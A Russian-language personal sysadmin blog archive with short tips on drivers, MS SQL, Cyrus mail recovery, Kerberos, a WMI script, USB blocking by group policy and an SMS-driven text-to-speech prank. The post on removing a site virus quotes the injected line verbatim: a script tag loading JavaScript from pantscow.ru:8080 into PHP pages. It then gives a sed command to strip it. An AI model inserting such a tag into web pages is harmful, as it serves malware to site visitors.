Архив

Статья написана автором Галиев Руслан

Создание драйвера для ATI Radeon

Столкнулся с проблемой по поиску нужного драйвера для ATI Mobility Radeon HD 4650 для ноутбука Sony VAIO VGN-FW480J , после долгих поисках на сайтах производителя ноутбука и AMD, форумах и т.д. была найдена программ, которая модифицирует стандартный драйвер Catalyst, под установленную видеокарту. Достаточно установить программу,  скормить ей стандартные дрова с сайта AMD. После модификации можно обновить драйвер на видеокарте. Программу можно скачать тут

Статья написана автором Галиев Руслан

Убираем вирусы с сайта

Столкнулся с проблемой на своём блоге с вирусом   HTML/ScrInject.B.Gen .  На многих страницах php в конце были следующие строки:

<script type=»text/javascript» src=»http://pantscow.ru:8080/Hard_Copy.js»></script>
<!—cb3037d86aac278414c26f0c82b6254e—>

удалять их вручную было сложно и на просторах интернета был найден скрипт:

1
find -name "*.php" -exec sed -i.bakk "s/<script type='text\/javascript' src='http:\/\/pantscow.ru*<\/script>//g" {} \;

Данный скрипт выполняет следующие действия:

  1. В тукущем каталоге и подкаталогах ищет в файлах с расширением *.php необходимую строку
  2. Заменяет строку на пустоту
  3. Создаёт резервый файл с расширением .bakk в том же каталоге

Далее проверяем если всё верно,  строка удалилась, а всё остальное на месте и сайт работает, выполняем скрипт, который удаляет все бэкапные файлы:

1
find -name "*.php.bakk" -exec rm  {} \;
Статья написана автором Галиев Руслан

Загрузка изображение в MS SQL

Необходимо было загрузить изображение в БД MS SQL 2005. В таблице dbo.org_Organization поле Logo имеет тип Image

1
2
3
UPDATE [CALLCENTER].[dbo].[org_Organization]
SET [Logo]=(SELECT * FROM OPENROWSET(BULK 'C:\image.jpg', SINGLE_BLOB) AS [File])
WHERE [ID]=1
Статья написана автором Галиев Руслан

Открываем Unix mailbox

Необходимо было открыть письмо скопированное с почтового сервера (postfix/cyrus), необходимо было получить вложения, файл открывался и можно было прочитать заголовки, но вложения получить не так просто. При открытии файла письма Unix mailbox Outlook ‘ом возникли проблемы, файл письма не хотел открываться, указав разрешение elm ничего не изменилось, помогла программа MailView

Статья написана автором Галиев Руслан

Восстановление базы данных Cyrus

1
2
3
4
5
6
7
8
9
10
/etc/init.d/cyrus stop
cd /var/imap/
rm db/*
rm db.backup?/*
rm deliver.db
rm tls_sessions.db
/usr/local/cyrus/bin/ctl_mboxlist -d > mailboxes.txt
mv mailboxes.db mailboxes.db.old
/usr/local/cyrus/bin/ctl_mboxlist -u < mailboxes.txt
/etc/init.d/cyrus start
Статья написана автором Галиев Руслан

Сбрасываем билет kerberos

Для того чтобы сбросить и получить с контроллера домена новый билет kerberos, качаем Support Tools далее выполняем команду:

1
netdom resetpwd /server:контроллер домена /userd:domain\administrator /passwordd:пароль администратора

Также можно скачать утилиту kerbtray ,которая также позволяет без особых трудностей скинуть билет kerberos

Статья написана автором Галиев Руслан

Win32_NTDomain

Для того чтобы узнать имя контроллера домена используемого на конкретного компьютера написал небольшой VB Script

1
2
3
4
5
6
7
8
9
10
11
12
13
 Computer = InputBox("Имя компьютера")

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & Computer & "\root\cimv2")

Set colComputer = objWMIService.ExecQuery _
("Select * from Win32_NTDomain")

For Each objComputer in colComputer
if objComputer.DomainControllerName<>"" then
Wscript.Echo "NTDomain: " & objComputer.DomainControllerName
end if
Next
Статья написана автором Галиев Руслан

Windows 7 GodMode

Этот режим позволит вам управлять всеми настройками Windows из удобного графического меню. Вот как его активировать:

1. Щелкните правой кнопкой мыши на любом пустом пространстве рабочего стола.
2. Перейдите в меню Создать и создайте новую папку.
3. Переименуйте папку следующим образом: GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
4. НЕ используйте эту возможность на Windows 7 x64 (а также Windows Vista x64) — это приводит к обрушению системы Как сообщают пользователи, на системах х64 это тоже работает. Но используйте это на свой страх и риск.

godmode

godmode

Статья написана автором Галиев Руслан

Отключаем USB флешки через GPO

Для отключения USB флешек нам понадобится административный шаблон usb_removable_drives_adm. Далее создаём новую групповую политику.  Добавляем скачанный административный шаблон на компьютер или на пользователя.

Добавление административного шаблона

Добавление административного шаблона

Следующим этапом заходим в административные шаблоны, меню вид>фильтрация убираем галочки как показано на рисунке №2

Изменение фильтрации в меню "Вид"

Изменение фильтрации в меню "Вид"

После этого нам становится доступен раздел Custom Policy Setting > Restrict Drives. Отключаем USB, Floppy, CD-ROM по вашему выбору.

Отключаем USB флешки

Отключаем USB флешки

Статья написана автором Галиев Руслан

Пугаем девушку по IT’шному

Суть такая(Вспомнилась фраза «А суть то у нас в подъездах») отсылая смс на телефонный номер в GPRS-модеме с текстом мы запускаем на компьютере скрипт , который воспроизводит этот текст.  Таким образом можно обескуражить свою девушку, напугать её либо мило и по IT’шному признаться в любви.

Что потребуется:

  1. Модем GPRS(Использовался мегафоновский)
  2. Программа для работы с GPRS-модемом (Качать от сюда). Взята с сайта intelloware.com, с разрешения автора.
  3. Голосовой движок (Можно использовать любой какой найдёте в интернете, мне понравилась Алёна)
  4. Скрипт работающий с голосовым движком(будет ниже)

Теперь как всё это заставить работать.

Во первых устанавливаем модем, ставим драйвера на него, в «диспетчере устройств» находим в разделе модемы наш GPRS-модем, заходим в его свойствах во складке модем находим на каком порту com-порту висит устройство и при какой скорости работает.  У меня это был com5 при скорости в 460800. Эти настройки нам нужны для программы из второго пункта. Архив с программой разархивируем. Запускаем install.bat , прога устанавливается как сервис под именем SMS Remote Control Service. Теперь в файле options.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[Settings]
port        = com8
rate        = 115200
timeout        = 5000

[123]
script        = scripts\cpuLoad.vbs
reply        = 1
replyTo        = 7917XXXXXX
allowedTo    = 7917XXXXXX,7902YYYYYY

[111]
script        = scripts\play.vbs
allowedTo    = 7917XXXXXX,7902YYYYYY

[222]
script        = scripts\getIp.vbs
reply        = 1
replyTo        = 7917XXXXXX
allowedTo    = 7917XXXXXX,7902YYYYYY

[Default]
script        = scripts\cmd.vbs
reply        = 1
replyTo        = 7917XXXXXX
allowedTo    = 7917XXXXXX,7902YYYYYY

В разделе Settings меняем порт и скорость на порту.

Остальные разделы обозначают, какой скрипт будет выполнятся про получении SMS определённого содержания(Например при получении SMS с текстом «123» программа вышлет загрузку процессора по номеру указанному в переменной replyTo). Можно добавлять свои разделы. Переменная script — означает то, какой скрипт будет выполнен, reply — нужно ли отсылать ответ. replyTo — номер для ответа.  allowedTo — с какого номера разрешено получать команды.

Голосовой  движок скачиваем и устанавливаем Алёнушку. Теперь относительно VBS скрипта который работает с голосовым движком.

1
2
3
4
5
6
set args = WScript.Arguments
text = args.Item(0)
Set Speech = CreateObject("SAPI.SpVoice")
Set Speech.voice = Speech.GetVoices().Item(2)
Speech.rate = 2
Speech.Speak text

Смысл его таков что при запуске с аргументом в виде текста, он  принимает их и передаёт голосовому движку , который их воспроизводит.

Set Speech.voice = Speech.GetVoices().Item(2)  // указывается номер голосового движка, у меня он 3 по счёту(нулевой тоже идёт в расчёт).

Speech.rate = 2    // скорость воспроизведения (Остальные методы у объекта SAPI.SpVoice типо гросмкости, можно глянуть на мелкософте)

Чтобы не тратить деньги(смс) на тестирование этого скрипта на вашей машинке, вначале его можно позапускать из командной строки, например:

1
C:\speech.vbs "Привет я Алёна"

Если голос не Алёны, и вообще на голос не похож, значит воспроизводится текст стандартным мелкософтным движком.

Если всё хорошо и работает, тов options.ini меняем в разделе Default строку

1
script  = scripts\cmd.vbs

на

1
script  = scripts\speech.vbs

Т.е. указав наш скрипт для смс по умолчанию. Теперь отослав SMS с текстом «Привет», программа запустит скрипт по умолчанию,  который проиграет текст с помощью голосового движка.